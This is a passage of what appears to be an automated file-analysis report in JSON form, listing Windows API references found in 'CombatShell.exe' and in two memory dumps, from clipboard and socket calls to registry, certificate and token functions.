\"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ToUnicodeEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetMenu\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetClipCursor\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCursorPos\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RedrawWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateIcon\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetClientRect\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"EmptyClipboard\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DestroyIcon\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ScreenToClient\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReleaseCapture\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegisterWindowMessageA\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateIconFromResourceEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemMenu\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"IsIconic\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"PeekMessageW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWindowPos\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWindowTextW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegisterRawInputDevices\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ClientToScreen\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DefWindowProcW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetClipboardData\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"EnableMenuItem\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DestroyWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowTextW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetForegroundWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetKeyboardLayout\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AdjustWindowRectEx\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MessageBoxW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SystemParametersInfoA\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetActiveWindow\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetClipboardData\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadImageW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetMenuDefaultItem\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CountClipboardFormats\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCursor\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowTextLengthW\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"KillTimer\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCapture\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetTimer\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ShowCursor\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"getpeername\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSACleanup\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAGetLastError\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"getsockname\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"getsockopt\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSASend\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"recvfrom\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAStartup\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"closesocket\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ioctlsocket\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAIoctl\"; File: \"CombatShell.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FormatMessageW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryExA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetErrorInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SysAllocStringLen\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SysFreeString\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SysStringLen\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlAdjustPrivilege\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptAcquireContextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptDestroyKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptImportKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptReleaseContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DuplicateToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetUserNameW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ImpersonateAnonymousToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegCloseKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegCreateKeyExA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegCreateKeyExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegEnumKeyExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegEnumValueW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegOpenKeyExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegQueryInfoKeyW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegQueryValueExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegSetValueExA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RevertToSelf\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertAddCertificateContextToStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertAddEncodedCTLToStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertAddEncodedCertificateToStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertCloseStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertCreateCTLEntryFromCertificateContextProperties\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertCreateCertificateContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertDeleteCertificateFromStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertDuplicateCertificateChain\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertDuplicateCertificateContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertDuplicateStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertEnumCertificatesInStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertFreeCTLContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertFreeCertificateChain\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertFreeCertificateContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertGetCertificateChain\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertGetCertificateContextProperty\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertGetEnhancedKeyUsage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertOpenStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertSetCertificateContextProperty\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertVerifyCertificateChainPolicy\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CertVerifyTimeValidity\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptAcquireCertificatePrivateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptBinaryToStringA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptDecodeObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptEncodeObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptHashCertificate\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptMsgEncodeAndSignCTL\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CryptStringToBinaryA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"PFXExportCertStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"PFXImportCertStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDIBits\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDeviceCaps\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetObjectW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AddVectoredExceptionHandler\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AreFileApisANSI\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CancelIo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CancelIoEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CloseHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CompareStringOrdinal\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ConnectNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CopyFileExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateEventW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateFileA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateFileMappingA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateFileMappingW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateFileW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateHardLinkW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateIoCompletionPort\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateMutexW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateNamedPipeW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreatePipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateProcessW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateSymbolicLinkW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CreateWaitableTimerExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteFileA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteFileW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteProcThreadAttributeList\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DisconnectNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DuplicateHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"EnterCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ExitProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FindClose\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FindFirstFileExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FindNextFileW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FlushFileBuffers\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FlushViewOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FormatMessageA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FreeEnvironmentStringsW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FreeLibrary\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCommandLineW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetComputerNameExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleMode\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetConsoleOutputCP\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentProcessId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetCurrentThreadId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDiskFreeSpaceA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDiskFreeSpaceW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetEnvironmentStringsW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API 